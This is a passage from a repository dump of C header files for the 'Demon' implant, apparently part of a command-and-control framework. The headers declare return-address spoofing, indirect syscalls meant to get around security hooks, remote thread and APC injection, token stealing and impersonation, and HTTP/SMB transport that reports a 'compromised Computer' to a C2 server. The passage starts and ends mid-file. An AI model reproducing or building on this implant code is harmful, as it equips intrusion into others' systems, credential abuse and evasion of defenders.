SOCKET_ERROR_ALREADY_BOUND  0x1\n\ntypedef struct sockaddr_in6 {\n  ADDRESS_FAMILY sin6_family;\n  USHORT         sin6_port;\n  ULONG          sin6_flowinfo;\n  IN6_ADDR       sin6_addr;\n  union {\n    ULONG    sin6_scope_id;\n    SCOPE_ID sin6_scope_struct;\n  };\n} SOCKADDR_IN6_LH, *PSOCKADDR_IN6_LH, *LPSOCKADDR_IN6_LH;\n\ntypedef struct _SOCKET_DATA\n{\n    DWORD  ID;\n    DWORD  ParentID;\n    SOCKET Socket;\n\n    /* what kind of socket this is */\n    DWORD Type;\n\n    /* Is marked to be removed? */\n    BOOL ShouldRemove;\n\n    /* Bind Host and Port data */\n    DWORD IPv4;\n    PBYTE IPv6;\n    DWORD LclPort;\n\n    /* Forward Host and Port data */\n    DWORD FwdAddr;\n    DWORD FwdPort;\n\n    /* pointer to the next Socket data */\n    struct _SOCKET_DATA* Next;\n} SOCKET_DATA, *PSOCKET_DATA;\n\n/*!\n * Initiates the use of the Winsock DLL.\n * This is needed for Socks5 and HTTP(S) agents.\n * @return TRUE or FALSE\n */\nBOOL InitWSA( VOID );\n\n/*!\n * Create a new socket and insert it into the linked list.\n * if Type param is not SOCKET_TYPE_NONE then it is going to bind\n * to the specified Address and Port.\n * @param Socket\n * @param Type\n * @param UseIpv4\n * @param IPv4\n * @param IPv6\n * @param LclPort\n * @param FwdAddr\n * @param FwdPort\n * @param ParentID\n * @return SocketData object pointer\n */\nPSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PBYTE IPv6, DWORD LclPort, DWORD FwdAddr, DWORD FwdPort, DWORD ParentID );\n\n/* Check for new connections, read everything from the sockets and or close \"dead\" sockets */\nVOID SocketPush();\n\n/*!\n * Query the IPv4 from the specified domain\n * @param Domain\n * @return IPv4 address\n */\nDWORD DnsQueryIPv4( LPSTR Domain );\n\n/*!\n * Query the IPv6 from the specified domain\n * @param Domain\n * @return IPv6 address\n */\nPBYTE DnsQueryIPv6( LPSTR Domain );\n"
  },
  {
    "path": "payloads/Demon/include/core/Spoof.h",
    "content": "#ifndef DEMON_SPOOF_H\n#define DEMON_SPOOF_H\n\n#include <windows.h>\n\n// NOTE: this code is taken from AceLdr by kyleavery. So huge credit goes to him. https://github.com/kyleavery/AceLdr\n\n#if _WIN64\n\ntypedef struct\n{\n    PVOID Trampoline;\n    PVOID Function;\n    PVOID Rbx;\n} PRM, *PPRM;\n\nstatic ULONG_PTR Spoof();\n\n#define SPOOF_X( function, module, size )                             SpoofRetAddr( function, module, size, NULL, NULL, NULL, NULL, NULL, NULL, NULL )\n#define SPOOF_A( function, module, size, a )                          SpoofRetAddr( function, module, size, a, NULL, NULL, NULL, NULL, NULL, NULL, NULL )\n#define SPOOF_B( function, module, size, a, b )                       SpoofRetAddr( function, module, size, a, b, NULL, NULL, NULL, NULL, NULL, NULL )\n#define SPOOF_C( function, module, size, a, b, c )                    SpoofRetAddr( function, module, size, a, b, c, NULL, NULL, NULL, NULL, NULL )\n#define SPOOF_D( function, module, size, a, b, c, d )                 SpoofRetAddr( function, module, size, a, b, c, d, NULL, NULL, NULL, NULL )\n#define SPOOF_E( function, module, size, a, b, c, d, e )              SpoofRetAddr( function, module, size, a, b, c, d, e, NULL, NULL, NULL )\n#define SPOOF_F( function, module, size, a, b, c, d, e, f )           SpoofRetAddr( function, module, size, a, b, c, d, e, f, NULL, NULL )\n#define SPOOF_G( function, module, size, a, b, c, d, e, f, g )        SpoofRetAddr( function, module, size, a, b, c, d, e, f, g, NULL )\n#define SPOOF_H( function, module, size, a, b, c, d, e, f, g, h )     SpoofRetAddr( function, module, size, a, b, c, d, e, f, g, h )\n#define SETUP_ARGS(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12, ...) arg12\n#define SPOOF_MACRO_CHOOSER(...) SETUP_ARGS(__VA_ARGS__, SPOOF_H, SPOOF_G, SPOOF_F, SPOOF_E, SPOOF_D, SPOOF_C, SPOOF_B, SPOOF_A, SPOOF_X, )\n#define SpoofFunc(...) SPOOF_MACRO_CHOOSER(__VA_ARGS__)(__VA_ARGS__)\n\nPVOID SpoofRetAddr(\n    _In_    PVOID  Module,\n    _In_    ULONG  Size,\n    _In_    HANDLE Function,\n    _Inout_ PVOID  a,\n    _Inout_ PVOID  b,\n    _Inout_ PVOID  c,\n    _Inout_ PVOID  d,\n    _Inout_ PVOID  e,\n    _Inout_ PVOID  f,\n    _Inout_ PVOID  g,\n    _Inout_ PVOID  h\n);\n\n#endif\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/SysNative.h",
    "content": "#ifndef DEMON_SYSNATIVE_H\n#define DEMON_SYSNATIVE_H\n\n#include <common/Native.h>\n#include <core/Spoof.h>\n\n/* define the OPT param option */\n#ifndef OPT\n#define OPT\n#endif\n\n#define SYSCALL_INVOKE( SYS_NAME, ... )                                                                      \\\n    if ( Instance->Config.Implant.SysIndirect && Instance->Syscall.SysAddress && Instance->Syscall.SYS_NAME ) { \\\n        SysConfig.Ssn = Instance->Syscall.SYS_NAME;                                                           \\\n        SysConfig.Adr = Instance->Syscall.SysAddress;                                                         \\\n        SysSetConfig( &SysConfig );                                                                          \\\n        NtStatus = SysInvoke( __VA_ARGS__ );                                                                 \\\n    } else {                                                                                                 \\\n        NtStatus = Instance->Win32.SYS_NAME( __VA_ARGS__ );                                                   \\\n    }                                                                                                        \\\n    PRINTF( \"%s( ... ) = %08x\\n\", #SYS_NAME, NtStatus )\n\nNTSTATUS NTAPI SysNtOpenThread(\n    OUT    PHANDLE            ThreadHandle,\n    IN     ACCESS_MASK        DesiredAccess,\n    IN     POBJECT_ATTRIBUTES ObjectAttributes,\n    IN OPT PCLIENT_ID         ClientId\n);\n\nNTSTATUS NTAPI SysNtOpenThreadToken(\n    IN  HANDLE      ThreadHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  BOOLEAN     OpenAsSelf,\n    OUT PHANDLE     TokenHandle\n);\n\nNTSTATUS NTAPI SysNtOpenProcess(\n    OUT    PHANDLE             ProcessHandle,\n    IN     ACCESS_MASK         DesiredAccess,\n    IN     POBJECT_ATTRIBUTES  ObjectAttributes,\n    IN OPT PCLIENT_ID          ClientId\n);\n\nNTSTATUS NTAPI SysNtTerminateProcess(\n    IN OPTIONAL HANDLE   ProcessHandle,\n    IN          NTSTATUS ExitStatus\n);\n\nNTSTATUS NTAPI SysNtOpenProcessToken(\n    IN  HANDLE      ProcessHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    OUT PHANDLE     TokenHandle\n);\n\nNTSTATUS NTAPI SysNtDuplicateToken(\n    IN  HANDLE             ExistingTokenHandle,\n    IN  ACCESS_MASK        DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    IN  BOOLEAN            EffectiveOnly,\n    IN  TOKEN_TYPE         TokenType,\n    OUT PHANDLE            NewTokenHandle\n);\n\nNTSTATUS NTAPI SysNtQueueApcThread(\n    IN     HANDLE          ThreadHandle,\n    IN     PPS_APC_ROUTINE ApcRoutine,\n    IN OPT PVOID           ApcArgument1,\n    IN OPT PVOID           ApcArgument2,\n    IN OPT PVOID           ApcArgument3\n);\n\nNTSTATUS NTAPI SysNtSuspendThread(\n    IN      HANDLE ThreadHandle,\n    OUT OPT PULONG PreviousSuspendCount\n);\n\nNTSTATUS NTAPI SysNtResumeThread(\n    IN      HANDLE ThreadHandle,\n    OUT OPT PULONG PreviousSuspendCount\n);\n\nNTSTATUS NTAPI SysNtCreateEvent (\n    OUT    PHANDLE            EventHandle,\n    IN     ACCESS_MASK        DesiredAccess,\n    IN OPT POBJECT_ATTRIBUTES ObjectAttributes,\n    IN     EVENT_TYPE         EventType,\n    IN     BOOLEAN            InitialState\n);\n\nNTSTATUS NTAPI SysNtCreateThreadEx(\n    OUT PHANDLE     hThread,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  PVOID       ObjectAttributes,\n    IN  HANDLE      ProcessHandle,\n    IN  PVOID       lpStartAddress,\n    IN  PVOID       lpParameter,\n    IN  ULONG       Flags,\n    IN  SIZE_T      StackZeroBits,\n    IN  SIZE_T      SizeOfStackCommit,\n    IN  SIZE_T      SizeOfStackReserve,\n    IN  PVOID       lpBytesBuffer\n);\n\nNTSTATUS NTAPI SysNtDuplicateObject(\n    IN     HANDLE      SourceProcessHandle,\n    IN     HANDLE      SourceHandle,\n    IN OPT HANDLE      TargetProcessHandle,\n    OUT    PHANDLE     TargetHandle,\n    IN     ACCESS_MASK DesiredAccess,\n    IN     ULONG       HandleAttributes,\n    IN     ULONG       Options\n);\n\nNTSTATUS NTAPI SysNtGetContextThread (\n    IN     HANDLE   ThreadHandle,\n    IN OUT PCONTEXT ThreadContext\n);\n\nNTSTATUS NTAPI SysNtSetContextThread (\n    IN     HANDLE   ThreadHandle,\n    IN OUT PCONTEXT ThreadContext\n);\n\nNTSTATUS NTAPI SysNtQueryInformationProcess(\n    IN      HANDLE           ProcessHandle,\n    IN      PROCESSINFOCLASS ProcessInformationClass,\n    OUT     PVOID            ProcessInformation,\n    IN      ULONG            ProcessInformationLength,\n    OUT OPT PULONG           ReturnLength\n);\n\nNTSTATUS NTAPI SysNtQuerySystemInformation (\n    IN      SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    OUT OPT PVOID                    SystemInformation,\n    IN      ULONG                    SystemInformationLength,\n    OUT OPT PULONG                   ReturnLength\n);\n\nNTSTATUS NTAPI SysNtWaitForSingleObject(\n    IN     HANDLE         Handle,\n    IN     BOOLEAN        Alertable,\n    IN OPT PLARGE_INTEGER Timeout\n);\n\nNTSTATUS NTAPI SysNtAllocateVirtualMemory(\n    IN     HANDLE    ProcessHandle,\n    IN OUT PVOID*    BaseAddress,\n    IN     ULONG_PTR ZeroBits,\n    IN OUT PSIZE_T   RegionSize,\n    IN     ULONG     AllocationType,\n    IN     ULONG     Protect\n);\n\nNTSTATUS NTAPI SysNtWriteVirtualMemory (\n    IN       HANDLE  ProcessHandle,\n    IN OPT   PVOID   BaseAddress,\n    IN CONST VOID*   Buffer,\n    IN       SIZE_T  BufferSize,\n    OUT OPT  PSIZE_T NumberOfBytesWritten\n);\n\nNTSTATUS NTAPI SysNtFreeVirtualMemory(\n    IN     HANDLE  ProcessHandle,\n    IN OUT PVOID*  BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN     ULONG   FreeType\n);\n\nNTSTATUS NTAPI SysNtUnmapViewOfSection(\n    IN HANDLE ProcessHandle,\n    IN PVOID  BaseAddress\n);\n\nNTSTATUS NTAPI SysNtProtectVirtualMemory(\n    IN     HANDLE  ProcessHandle,\n    IN OUT PVOID*  BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN     ULONG   NewProtect,\n    OUT    PULONG  OldProtect\n);\n\nNTSTATUS NTAPI SysNtReadVirtualMemory (\n    IN      HANDLE  ProcessHandle,\n    IN OPT  PVOID   BaseAddress,\n    OUT     PVOID   Buffer,\n    IN      SIZE_T  BufferSize,\n    OUT OPT PSIZE_T NumberOfBytesRead\n);\n\nNTSTATUS NTAPI SysNtTerminateThread(\n    IN OPT HANDLE   ThreadHandle,\n    IN     NTSTATUS ExitStatus\n);\n\nNTSTATUS NTAPI SysNtAlertResumeThread(\n    IN      HANDLE ThreadHandle,\n    OUT OPT PULONG PreviousSuspendCount\n);\n\nNTSTATUS NTAPI SysNtSignalAndWaitForSingleObject(\n    IN     HANDLE         SignalHandle,\n    IN     HANDLE         WaitHandle,\n    IN     BOOLEAN        Alertable,\n    IN OPT PLARGE_INTEGER Timeout\n);\n\nNTSTATUS NTAPI SysNtQueryVirtualMemory(\n    IN      HANDLE                   ProcessHandle,\n    IN      PVOID                    BaseAddress,\n    IN      MEMORY_INFORMATION_CLASS MemoryInformationClass,\n    OUT     PVOID                    MemoryInformation,\n    IN      SIZE_T                   MemoryInformationLength,\n    OUT OPT PSIZE_T                  ReturnLength\n);\n\nNTSTATUS NTAPI SysNtQueryInformationToken (\n    IN  HANDLE                  TokenHandle,\n    IN  TOKEN_INFORMATION_CLASS TokenInformationClass,\n    OUT PVOID                   TokenInformation,\n    IN  ULONG                   TokenInformationLength,\n    OUT PULONG                  ReturnLength\n);\n\nNTSTATUS NTAPI SysNtQueryInformationThread(\n    IN      HANDLE          ThreadHandle,\n    IN      THREADINFOCLASS ThreadInformationClass,\n    OUT     PVOID           ThreadInformation,\n    IN      ULONG           ThreadInformationLength,\n    OUT OPT PULONG          ReturnLength\n);\n\nNTSTATUS NTAPI SysNtQueryObject(\n    IN  HANDLE                   Handle,\n    IN  OBJECT_INFORMATION_CLASS ObjectInformationClass,\n    OUT PVOID                    ObjectInformation,\n    IN  ULONG                    ObjectInformationLength,\n    OUT PULONG                   ReturnLength\n);\n\nNTSTATUS NTAPI SysNtClose (\n    IN HANDLE Handle\n);\n\nNTSTATUS NTAPI SysNtSetInformationThread (\n    IN HANDLE          ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    IN PVOID           ThreadInformation,\n    IN ULONG           ThreadInformationLength\n);\n\nNTSTATUS NTAPI SysNtSetInformationVirtualMemory(\n    IN HANDLE                           ProcessHandle,\n    IN VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass,\n    IN ULONG_PTR                        NumberOfEntries,\n    IN PMEMORY_RANGE_ENTRY              VirtualAddresses,\n    IN PVOID                            VmInformation,\n    IN ULONG                            VmInformationLength\n);\n\nNTSTATUS NTAPI SysNtGetNextThread(\n    IN  HANDLE      ProcessHandle,\n    IN  HANDLE      ThreadHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  ULONG       HandleAttributes,\n    IN  ULONG       Flags,\n    OUT PHANDLE     NewThreadHandle\n);\n\n#endif // DEMON_SYSNATIVE_H"
  },
  {
    "path": "payloads/Demon/include/core/Syscalls.h",
    "content": "\n#ifndef DEMON_SYSCALLS_H\n#define DEMON_SYSCALLS_H\n\n#include <windows.h>\n#include <common/Native.h>\n\n/* Syscall functions */\n#define SYS_ASM_RET 0xC3\n#define SYS_RANGE   0x1E\n#if _WIN64\n #define SYSCALL_ASM  0x050F\n #define SSN_OFFSET_1 0x4\n #define SSN_OFFSET_2 0x5\n#else\n #define SYSCALL_ASM  0x340f\n #define SSN_OFFSET_1 0x1\n #define SSN_OFFSET_2 0x2\n#endif\n\n#define SYS_EXTRACT( NtName )                                                       \\\n    if ( Instance->Win32.NtName ) {                                                  \\\n        SysExtract(                                                                 \\\n            Instance->Win32.NtName,                                                  \\\n            TRUE,                                                                   \\\n            &Instance->Syscall.NtName,                                               \\\n            NULL                                                                    \\\n        );                                                                          \\\n        PRINTF( \"Extracted \\\"%s\\\": [Ssn: %x] Ptr:[%p]\\n\", #NtName, Instance->Syscall.NtName, Instance->Win32.NtName ) \\\n    }\n\ntypedef struct _SYS_CONFIG {\n    PVOID Adr; /* indirect syscall instruction address */\n    WORD  Ssn; /* syscall service number */\n} SYS_CONFIG, *PSYS_CONFIG;\n\nBOOL SysInitialize(\n    IN PVOID Ntdll\n);\n\nBOOL SysExtract(\n    IN  PVOID  Function,\n    IN  BOOL   ResolveHooked,\n    OUT PWORD  Ssn,\n    OUT PVOID* Addr\n);\n\nBOOL FindSsnOfHookedSyscall(\n    IN  PVOID  Function,\n    OUT PWORD  Ssn\n);\n\nVOID SysSetConfig(\n    IN PSYS_CONFIG Config\n);\n\nNTSTATUS SysInvoke(\n    _Inout_ /* Args... */\n);\n\nBOOL IsWoW64();\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/Thread.h",
    "content": "#ifndef DEMON_THREAD_H\n#define DEMON_THREAD_H\n\n#include <common/Native.h>\n#include <core/Win32.h>\n\n/* thread execution methods */\n#define THREAD_METHOD_DEFAULT            0\n#define THREAD_METHOD_CREATEREMOTETHREAD 1\n#define THREAD_METHOD_NTCREATEHREADEX    2\n#define THREAD_METHOD_NTQUEUEAPCTHREAD   3\n\n#if _M_IX86\n\n// Definitions used for running native x64 code from a wow64 process (see executex64.asm)\ntypedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );\ntypedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );\n\n\nULONG_PTR ExecuteX64( PVOID Function, PVOID Context );\n\nULONG_PTR RemoteThreadX64( VOID );\n\n// The context used for injection via migrate_via_remotethread_wow64\ntypedef struct _WOW64CONTEXT\n{\n    union\n    {\n        HANDLE hProcess;\n        BYTE bPadding2[8];\n    } h;\n\n    union\n    {\n        LPVOID lpStartAddress;\n        BYTE bPadding1[8];\n    } s;\n\n    union\n    {\n        LPVOID lpParameter;\n        BYTE bPadding2[8];\n    } p;\n    union\n    {\n        HANDLE hThread;\n        BYTE bPadding2[8];\n    } t;\n} WOW64CONTEXT, * LPWOW64CONTEXT;\n\n#endif\n\nBOOL ThreadQueryTib(\n    IN  PVOID   Adr,\n    OUT PNT_TIB Tib\n);\n\nHANDLE ThreadCreateWoW64(\n    IN  BYTE   Method,\n    IN  HANDLE Process,\n    IN  PVOID  Entry,\n    IN  PVOID  Arg\n);\n\nHANDLE ThreadCreate(\n    IN  BYTE   Method,\n    IN  HANDLE Process,\n    IN  BOOL   x64,\n    IN  PVOID  Entry,\n    IN  PVOID  Arg,\n    OUT PDWORD ThreadId\n);\n\n#endif //DEMON_THREAD_H\n"
  },
  {
    "path": "payloads/Demon/include/core/Token.h",
    "content": "#ifndef DEMON_TOKEN_H\n#define DEMON_TOKEN_H\n\n#include <windows.h>\n#include <core/Win32.h>\n\n#define TOKEN_TYPE_STOLEN       0x1\n#define TOKEN_TYPE_MAKE_NETWORK 0x2\n\n#define TOKEN_OWNER_FLAG_DEFAULT 0x0 /* query domain/user */\n#define TOKEN_OWNER_FLAG_USER    0x1 /* query user only */\n#define TOKEN_OWNER_FLAG_DOMAIN  0x2 /* query domain only */\n\n#define MAX_PROCESSES 5000\n#define BUF_SIZE      4096\n#define MAX_USERNAME  512\n\n#define RtlOffsetToPointer(B,O)  ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O))  ))\n\n#ifndef ALIGN_UP_TYPE\n#define ALIGN_UP_TYPE(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1))\n#endif\n\n#ifndef ALIGN_UP\n#define ALIGN_UP(Address, Type) ALIGN_UP_TYPE(Address, sizeof(Type))\n#endif\n\n#define ObjectTypesInformation 3\n\n#define OBJECT_TYPES_FIRST_ENTRY(ObjectTypes) (POBJECT_TYPE_INFORMATION)\\\n    RtlOffsetToPointer(ObjectTypes, ALIGN_UP(sizeof(ULONG), ULONG_PTR))\n\n#define OBJECT_TYPES_NEXT_ENTRY(ObjectType) (POBJECT_TYPE_INFORMATION)\\\n    RtlOffsetToPointer(ObjectType, sizeof(OBJECT_TYPE_INFORMATION) + \\\n    ALIGN_UP(ObjectType->TypeName.MaximumLength, ULONG_PTR))\n\ntypedef struct _PROCESS_LIST\n{\n    ULONG Count;\n    ULONG ProcessId[MAX_PROCESSES];\n} PROCESS_LIST, *PPROCESS_LIST;\n\ntypedef struct _USER_TOKEN_DATA\n{\n    WCHAR  username[MAX_USERNAME];\n    DWORD  dwProcessID;\n    HANDLE localHandle;\n    DWORD  integrity_level;\n    DWORD  impersonation_level;\n    DWORD  TokenType;\n} USER_TOKEN_DATA, *PUSER_TOKEN_DATA;\n\ntypedef struct _OBJECT_TYPE_INFORMATION_V2 {\n    UNICODE_STRING TypeName;\n    ULONG TotalNumberOfObjects;\n    ULONG TotalNumberOfHandles;\n    ULONG TotalPagedPoolUsage;\n    ULONG TotalNonPagedPoolUsage;\n    ULONG TotalNamePoolUsage;\n    ULONG TotalHandleTableUsage;\n    ULONG HighWaterNumberOfObjects;\n    ULONG HighWaterNumberOfHandles;\n    ULONG HighWaterPagedPoolUsage;\n    ULONG HighWaterNonPagedPoolUsage;\n    ULONG HighWaterNamePoolUsage;\n    ULONG HighWaterHandleTableUsage;\n    ULONG InvalidAttributes;\n    GENERIC_MAPPING GenericMapping;\n    ULONG ValidAccessMask;\n    BOOLEAN SecurityRequired;\n    BOOLEAN MaintainHandleCount;\n    UCHAR TypeIndex;\n    CHAR ReservedByte;\n    ULONG PoolType;\n    ULONG DefaultPagedPoolCharge;\n    ULONG DefaultNonPagedPoolCharge;\n} OBJECT_TYPE_INFORMATION_V2, * POBJECT_TYPE_INFORMATION_V2;\n\n/* use union for STOLEN and MAKE tokens */\ntypedef struct _TOKEN_LIST_DATA\n{\n    HANDLE  Handle;\n    LPWSTR  DomainUser;\n    DWORD   dwProcessID;\n    SHORT   Type;\n\n    // Make data\n    LPWSTR   lpUser;\n    LPWSTR   lpPassword;\n    LPWSTR   lpDomain;\n\n    struct _TOKEN_LIST_DATA* NextToken;\n} TOKEN_LIST_DATA, *PTOKEN_LIST_DATA ;\n\ntypedef SECURITY_IMPERSONATION_LEVEL SEC_IMP_LEVEL;\n\n/* Token Object Functions */\nHANDLE TokenCurrentHandle(\n    VOID\n);\n\nBOOL TokenElevated(\n    IN HANDLE Token\n);\n\nBOOL TokenSetPrivilege(\n    IN LPSTR Privilege,\n    IN BOOL Enable\n);\n\nBOOL TokenSetSeDebugPriv(\n    IN BOOL Enable\n);\n\nBOOL TokenSetSeImpersonatePriv(\n    IN BOOL Enable\n);\n\nBOOL TokenDuplicate(\n    IN  HANDLE        TokenOriginal,\n    IN  DWORD         Access,\n    IN  SEC_IMP_LEVEL ImpersonateLevel,\n    IN  TOKEN_TYPE    TokenType,\n    OUT PHANDLE       TokenNew\n);\n\nBOOL TokenRevSelf(\n    VOID\n);\n\nBOOL TokenQueryOwner(\n    IN  HANDLE  Token,\n    OUT PBUFFER UserDomain,\n    IN  DWORD   Flags\n);\n\n/* Token Vault Functions */\nDWORD TokenAdd(\n    IN HANDLE hToken,\n    IN LPWSTR DomainUser,\n    IN SHORT  Type,\n    IN DWORD  dwProcessID,\n    IN LPWSTR User,\n    IN LPWSTR Domain,\n    IN LPWSTR Password\n);\n\nBOOL TokenRemove(\n    IN DWORD TokenID\n);\n\nBOOL SysDuplicateTokenEx(\n    IN HANDLE ExistingTokenHandle,\n    IN DWORD dwDesiredAccess,\n    IN LPSECURITY_ATTRIBUTES lpTokenAttributes  OPTIONAL,\n    IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,\n    IN TOKEN_TYPE TokenType,\n    OUT PHANDLE DuplicateTokenHandle);\n\nHANDLE TokenSteal(\n    IN DWORD  ProcessID,\n    IN HANDLE TargetHandle\n);\n\nHANDLE TokenMake(\n    IN LPWSTR User,\n    IN LPWSTR Password,\n    IN LPWSTR Domain,\n    IN DWORD LogonType\n);\n\nPTOKEN_LIST_DATA TokenGet(\n    IN DWORD TokenID\n);\n\nVOID TokenClear(\n    VOID\n);\n\nBOOL TokenImpersonate(\n    IN BOOL Impersonate\n);\n\nBOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens );\n\nBOOL ImpersonateTokenFromVault(\n    IN DWORD TokenID\n);\n\nBOOL ImpersonateTokenInStore(\n    IN PTOKEN_LIST_DATA TokenData\n);\n\nBOOL SysImpersonateLoggedOnUser( HANDLE hToken );\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/Transport.h",
    "content": "#ifndef DEMON_INTERNET_H\n#define DEMON_INTERNET_H\n\n#include <core/Package.h>\n#include <core/TransportHttp.h>\n#include <core/TransportSmb.h>\n\n#define PIPE_BUFFER_MAX 0x10000\n\n/*!\n * Initialize HTTP/HTTPS Connection to C2 Server + using AES encryption or\n * Initializes a connection to the parent pivot over SMB + using AES encryption\n * and send the collected user/computer info about the compromised Computer\n * @return Return if functions ran successful\n */\nBOOL TransportInit();\n\n/*!\n * Send our specified data + encrypt it with random key\n * @param Data Data we want to send\n * @param Size Size of Data we want to send\n * @return Return if functions ran successful\n */\nBOOL TransportSend( LPVOID Data, SIZE_T Size, PVOID* RecvData, PSIZE_T RecvSize );\n\n/*!\n * Try get a Job by reading from the pipe\n * @param Data Data we want to read\n * @param Size Size of Data we want to read\n * @return Return if functions ran successful\n */\nBOOL SMBGetJob( PVOID* RecvData, PSIZE_T RecvSize );\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/TransportHttp.h",
    "content": "#ifndef DEMON_TRANSPORTHTTP_H\n#define DEMON_TRANSPORTHTTP_H\n\n#include <core/Win32.h>\n\n#include <windows.h>\n#include <winhttp.h>\n\n#ifdef TRANSPORT_HTTP\n\n#define TRANSPORT_HTTP_ROTATION_ROUND_ROBIN  0\n#define TRANSPORT_HTTP_ROTATION_RANDOM       1\n#define ERROR_INTERNET_CANNOT_CONNECT        12029\n\ntypedef struct _HOST_DATA\n{\n    /* Host Data */\n    LPWSTR Host;\n    DWORD  Port;\n    DWORD  Failures;\n    BOOL   Dead;\n\n    /* Next Host Data */\n    struct _HOST_DATA* Next;\n} HOST_DATA, *PHOST_DATA;\n\n/*!\n * Adds a host to the linked list\n * @param Host\n * @param Port\n * @return Host pointer\n */\nPHOST_DATA HostAdd( LPWSTR Host, SIZE_T Size, DWORD Port );\n\n/*!\n * Counts how many hosts are in the linked list\n * @return Hosts counter\n */\nDWORD HostCount( VOID );\n\n/*!\n * Increments the failure counter and checks if we hit the max.\n * if we hit the max then we are going to use the next one.\n * @param Host\n * @return If hit the max then return the next Host.\n *         If not then return the passed Host.\n */\nPHOST_DATA HostFailure( PHOST_DATA Host );\n\n/*!\n * Chooses a host from the linked list based on the Host rotation option.\n * @return Host data\n */\nPHOST_DATA HostRotation( SHORT Strategy );\n\n/*!\n * Gets a random host from the linked list. (doesn't check if its dead)\n * @return Random Host from linked list\n */\nPHOST_DATA HostRandom();\n\n/*!\n * Checks if every host is dead.\n * if every host is dead then return FALSE.\n * if one or more hosts are not dead then TRUE\n * @return if more than one host is not marked as dead then return TRUE else return FALSE\n */\nBOOL HostCheckup();\n\n\nDWORD HttpQueryStatus( HANDLE hRequest );\n\nBOOL HttpSend(\n    _In_      PBUFFER Send,\n    _Out_opt_ PBUFFER Resp\n);\n\n#endif\n\n#endif"
  },
  {
    "path": "payloads/Demon/include/core/TransportSmb.h",
    "content": "#ifndef DEMON_TRANSPORTSMB_H\n#define DEMON_TRANSPORTSMB_H\n\n#include <core/Win32.h>\n\n#ifdef TRANSPORT_SMB\n\n/* Objects we allocated and need to free */\ntypedef struct\n{\n    PSID Sid;\n    PSID SidLow;\n    PACL SAcl;\n\n    PSECURITY_DESCRIPTOR SecDec;\n} SMB_PIPE_SEC_ATTR, *PSMB_PIPE_SEC_ATTR;\n\nBOOL SmbSend( PBUFFER Send );\nBOOL SmbRecv( PBUFFER Resp );\n\nVOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES SecurityAttr );\nVOID SmbSecurityAttrFree( PSMB_PIPE_SEC_ATTR SmbSecAttr );\n\n/* TRANSPORT_SMB */\n#endif\n\n/* DEMON_TRANSPORTSMB_H */\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/Win32.h",
    "content": "#ifndef DEMON_WIN32_H\n#define DEMON_WIN32_H\n\n#include <tlhelp32.h>\n#include <winsock2.h>\n#include <mscoree.h>\n#include <shellapi.h>\n#include <winhttp.h>\n\n#include <common/Macros.h>\n#include <common/Native.h>\n\n#include <core/Syscalls.h>\n\n#include <iphlpapi.h>\n#include <lm.h>\n\n#define HASH_KEY 5381\n#define WIN_FUNC(x) __typeof__(x) * x;\n\n#define DEREF( name )       *( UINT_PTR* ) ( name )\n#define DEREF_32( name )    *( DWORD* )    ( name )\n#define DEREF_16( name )    *( WORD* )     ( name )\n\n#define MAX( a, b ) ( ( a ) > ( b ) ? ( a ) : ( b ) )\n#define MIN( a, b ) ( ( a ) < ( b ) ? ( a ) : ( b ) )\n\ntypedef struct _DIR_OR_FILE\n{\n    WCHAR      FileName[MAX_PATH+1];\n    SYSTEMTIME FileTime;\n    SYSTEMTIME SystemTime;\n    BOOL       IsDir;\n    UINT64     Size;\n\n    struct _DIR_OR_FILE* Next;\n} DIR_OR_FILE, *PDIR_OR_FILE;\n\ntypedef struct _SUB_DIR\n{\n    WCHAR       Path[MAX_PATH+1];\n\n    struct _SUB_DIR* Next;\n} SUB_DIR, *PSUB_DIR;\n\ntypedef struct _ROOT_DIR\n{\n    WCHAR        Path[MAX_PATH+1];\n    PDIR_OR_FILE Content;\n    UINT32       NumFiles;\n    UINT32       NumFolders;\n    UINT64       TotalFileSize;\n\n    struct _ROOT_DIR* Next;\n} ROOT_DIR, *PROOT_DIR;\n\ntypedef struct\n{\n    PVOID TebInformation;\n    ULONG TebOffset;\n    ULONG BytesToRead;\n} THREAD_TEB_INFORMATION;\n\ntypedef struct _BUFFER\n{\n    PVOID  Buffer;\n    UINT32 Length;\n} BUFFER, *PBUFFER;\n\ntypedef struct _ANONPIPE\n{\n    HANDLE StdOutRead;\n    HANDLE StdOutWrite;\n} ANONPIPE, *PANONPIPE;\n\ntypedef enum _PS_ATTRIBUTE_NUM\n{\n    PsAttributeParentProcess = 0  /*0x0*/,\n    PsAttributeDebugObject   = 1  /*0x1*/,\n    PsAttributeToken         = 2  /*0x2*/,\n    PsAttributeClientId      = 3  /*0x3*/,\n    PsAttributeTebAddress    = 4  /*0x4*/,\n    PsAttributeImageName     = 5  /*0x5*/,\n    PsAttributeImageInfo     = 6  /*0x6*/,\n    PsAttributeMemoryReserve = 7  /*0x7*/,\n    PsAttributePriorityClass = 8  /*0x8*/,\n    PsAttributeErrorMode     = 9  /*0x9*/,\n    PsAttributeStdHandleInfo = 10 /*0xA*/,\n    PsAttributeHandleList    = 11 /*0xB*/,\n    